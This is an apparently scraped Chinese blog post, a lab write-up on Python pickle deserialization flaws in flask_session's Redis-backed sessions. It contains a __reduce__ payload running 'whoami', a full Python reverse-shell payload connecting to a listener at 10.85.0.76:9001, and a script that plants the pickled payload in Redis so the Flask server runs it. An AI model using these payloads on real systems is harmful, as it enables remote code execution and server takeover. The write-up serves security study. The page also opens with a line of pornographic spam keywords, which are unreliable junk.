成人无码视频,亚洲精品久久久久av无码,午夜精品久久久久久毛片,亚洲 中文字幕 日韩 无码

資訊專欄INFORMATION COLUMN

Python反序列化安全問題

Amos / 766人閱讀

摘要:反序列化安全問題一這一段時間使用做開發(fā),使用了存儲,閱讀了源碼,發(fā)現(xiàn)在存儲到過程中,利用了模塊進行序列化以及反序列化正好根據(jù)該樣例學習一波反序列化相關(guān)的安全問題,不足之處請各位表哥指出。

Python 反序列化安全問題(一)
這一段時間使用flask做web開發(fā),使用了redis存儲session,閱讀了flask_session源碼,發(fā)現(xiàn)在存儲session到redis過程中,利用了cPickle模塊進行序列化以及反序列化;正好根據(jù)該樣例學習一波Python反序列化相關(guān)的安全問題,不足之處請各位表哥指出。

一、基礎(chǔ)知識講解 1.1 cPickle模塊
Python中主要是用cPickle和pickle,前者是使用C語言實現(xiàn),速度可達到后者的1000倍,使用范圍較廣(文檔鏈接)

cPickle可以序列化很多類型的對象,詳情見文檔。基礎(chǔ)語法就是:

import cPickle
a = 1
b = cPickle.dumps(a)
cPickle.loads(b)

文檔中需要特別關(guān)注的是11.1.5.2,Pickling and unpickling extension types
這一節(jié)主要內(nèi)容就是講述cPickle序列化以及反序列化擴展類的過程,原文有一句我并沒有完全理解意思:

When the Pickler encounters an object of a type it knows nothing about — such as an extension type

初始理解的意思是:當遇到解釋器一無所知的擴展類型的時候,但是對于理解的這句話,擴展類型是什么意思?后來想到Python中元類是type,這里extension types應該理解為type類型的class。

class A(): # 舊類
     pass
type(A)

class B(object): # 新類 
     pass
type(B)

所以說這一節(jié)主要針對的應該是新類,即 class A(object) 此種寫法創(chuàng)建的類(存疑,待補充完善);當序列化以及反序列化的過程中中碰到未知類的時候,可以通過類中定義的__reduce__方法來告知如何進行序列化或者反序列化,該方法可以返回string和tuple類型;問題主要出在tuple類型(后面會細述),通過構(gòu)造__reduce__可達到命令執(zhí)行的目的:

import cPickle
import os
class A(object):
    def __reduce__(self):
        a = "whoami"
        return (os.system,(a,))    
b=A()
result = cPickle.dumps(b)
cPickle.loads(result)

使用上述命令即可執(zhí)行whoami命令。同時也可以利用該方式反彈shell:

import cPickle
import os
class A(object):
    def __reduce__(self):
        a = """python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.85.0.76",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);""""
        return (os.system,(a,))    
b=A()
result = cPickle.dumps(b)
cPickle.loads(result)

然后在10.85.0.76執(zhí)行nc -lvvp 9001,即可成功獲取shell。


1.2 flask_session
因為本次測試主要是依托于flask和redis,所以首先介紹一下flask_session。

flask中默認使用客戶端session,如果想要配置服務(wù)端session,就需要使用flask_session配合Redis(后面皆以Redis為主)或者其他數(shù)據(jù)庫。flask_session使用Redis存儲session的過程(主要使用如下的接口實現(xiàn),只展示部分代碼):

class RedisSessionInterface(SessionInterface):
    serializer = pickle  # 上文模塊導入 import cPickle as pickle
    session_class = RedisSession
    
    def open_session(self, app, request):  # 獲取session
        ……
        val = self.redis.get(self.key_prefix + sid)
        if val is not None:
            try:
                data = self.serializer.loads(val)  ## 將session值取出后反序列化
                return self.session_class(data, sid=sid)
            except:
                return self.session_class(sid=sid, permanent=self.permanent)
        return self.session_class(sid=sid, permanent=self.permanent)

    def save_session(self, app, session, response):  # 存儲session
        ……
        val = self.serializer.dumps(dict(session)) ## 將session值序列化存儲到redis
        

上述過程簡單說就是:session存取過程存在序列化和反序列化的過程。
session在Redis中以鍵值對(key,value)的形式存儲。假設(shè)我們能夠操縱Redis中的鍵值對,將某個key的值設(shè)為我們序列化后惡意代碼(比如上面反彈shell的代碼樣例),然后在將自身的cookie設(shè)置為該key,在訪問網(wǎng)站的時候,服務(wù)端會對于根據(jù)key查找value并進行反序列化,進而反彈shell。下面對于該想法進行測試


二、 漏洞測試
測試環(huán)境:

victim:Ubuntu 14.04、Redis 2.8.4、IP:10.85.0.54

attacker:Win10、IP:10.85.0.76

2.1 構(gòu)建服務(wù)端

此處我用flask編寫了一個服務(wù)端樣例:

import redis
import os
from flask import Flask,session
from flask_session import Session
app = Flask(__name__)
SESSION_TYPE = "redis"
SESSION_PERMANENT = False
SESSION_USE_SIGNER = False
SESSION_KEY_PREFIX = "session"
SESSION_REDIS = redis.Redis(host="127.0.0.1",port="6379")
SESSION_COOKIE_HTTPONLY = True
PERMANENT_SESSION_LIFETIME = 604800  # 7 days
app.config.from_object(__name__)
Session(app)


@app.route("/")
def hello_world():
    session["name"]="test"
    return "Hello World!"

if __name__ == "__main__":
    app.run(host="0.0.0.0")

將上述代碼保存為app.py,第三方庫安裝完畢后,在服務(wù)器上運行

python app.py

即可在5000端口啟動簡單的服務(wù)端,訪問如圖所示,紅框中是我們的sid,也是服務(wù)端查找session內(nèi)容的key(因為設(shè)置了前綴,所以redis中key應該是session+sid):

2.2 更改session

此時如果說我們將value設(shè)置為惡意代碼會怎么樣?

import cPickle
import os
import redis
class A(object):
    def __reduce__(self):
        a = """python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.85.0.76",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);""""
        return (os.system,(a,))    
b=A()
result = cPickle.dumps(b)
r = redis.Redis(host="127.0.0.1",port=6379)
r.set("此處為"session"和你的sid拼接",result)

運行上述代碼后,我們可以發(fā)現(xiàn)我們的session內(nèi)容變成下圖所示內(nèi)容:

2.3 反彈shell

此時在attacker監(jiān)聽9001端口:

nc -lvvp 9001

然后刷新瀏覽器中訪問頁面,發(fā)現(xiàn)成功反彈shell:


三、emmmm

目前很多Python的Web應用都用Redis等NoSQL進行session存儲,當攻擊者有機會去操縱服務(wù)端的session的時候(比如Redis未授權(quán)訪問),配合反序列化漏洞即可執(zhí)行命令。上述提到的兩個庫cPickle和pickle,兩個庫實現(xiàn)的功能基本相似,后面會對于Python實現(xiàn)的pickle庫進行分析為何會出現(xiàn)命令執(zhí)行的漏洞。

文章版權(quán)歸作者所有,未經(jīng)允許請勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。

轉(zhuǎn)載請注明本文地址:http://hztianpu.com/yun/41357.html

相關(guān)文章

  • Python 列化安全問題(二)

    摘要:讀取新的一行作為模塊名,讀取下一行作為對象名,然后將壓入到堆棧中。讀取字符串進行處理之后壓入堆棧。將一個元組和一個可調(diào)用對象彈出堆棧,然后以該元組作為參數(shù)調(diào)用該可調(diào)用的對象,最后將結(jié)果壓入到堆棧中。調(diào)用結(jié)束反序列化。 python pickle允許類定義__reduce__方法來聲明如何進行序列化。其返回字符串或者tuple,前者可能代表著一個python的全局變量的名稱,后者則是描...

    zhoutk 評論0 收藏0
  • Python 列化安全問題(二)

    摘要:讀取新的一行作為模塊名,讀取下一行作為對象名,然后將壓入到堆棧中。讀取字符串進行處理之后壓入堆棧。將一個元組和一個可調(diào)用對象彈出堆棧,然后以該元組作為參數(shù)調(diào)用該可調(diào)用的對象,最后將結(jié)果壓入到堆棧中。調(diào)用結(jié)束反序列化。 python pickle允許類定義__reduce__方法來聲明如何進行序列化。其返回字符串或者tuple,前者可能代表著一個python的全局變量的名稱,后者則是描...

    idealcn 評論0 收藏0
  • TensorFlow 刪除 YAML 支持,建議 JSON 作為替補方案!

    摘要:據(jù)公告稱,和的包裝庫使用了不安全的函數(shù)來反序列化編碼的機器學習模型。簡單來看,序列化將對象轉(zhuǎn)換為字節(jié)流。據(jù)悉,本次漏洞影響與版本,的到版本均受影響。作為解決方案,在宣布棄用之后,團隊建議開發(fā)者以替代序列化,或使用序列化作為替代。 ...

    BlackFlagBin 評論0 收藏0
  • Python 中的 10 個常見安全漏洞,以及如何避免(下)

    摘要:在考慮安全性時,你需要考慮如何避免被濫用,也不例外,即使在標準庫中,也存在用于編寫應用的不良實踐。修復使用替換標準庫模塊,它增加了針對這些類型攻擊的安全防護。但這卻是中最大的安全漏洞之一。 簡評:編寫安全代碼很困難,當你學習一個編程語言、模塊或框架時,你會學習其使用方法。 在考慮安全性時,你需要考慮如何避免被濫用,Python也不例外,即使在標準庫中,也存在用于編寫應用的不良實踐。然而...

    PiscesYE 評論0 收藏0
  • python基礎(chǔ)教程:列化

    摘要:默認情況下,它也是不安全的,如果數(shù)據(jù)是由黑客精心設(shè)計的,則反序列化的數(shù)據(jù)可能被植入惡意代碼??偨Y(jié)為我們提供了數(shù)據(jù)序列化的工具。如果是自己內(nèi)部使用,可以作為一個選擇進行復雜對象的序列化。 上一節(jié)我們學習了文件的讀寫,把一個字符串(或字節(jié)對象)保存到磁盤是一件很容易的事情。但是在實際編程中,我們經(jīng)常需要保存結(jié)構(gòu)化數(shù)據(jù),比如復雜的字典、嵌套的列表等等,這時候就需要我們想辦法把這些結(jié)構(gòu)化數(shù)據(jù)先...

    gityuan 評論0 收藏0

發(fā)表評論

0條評論

閱讀需要支付1元查看
<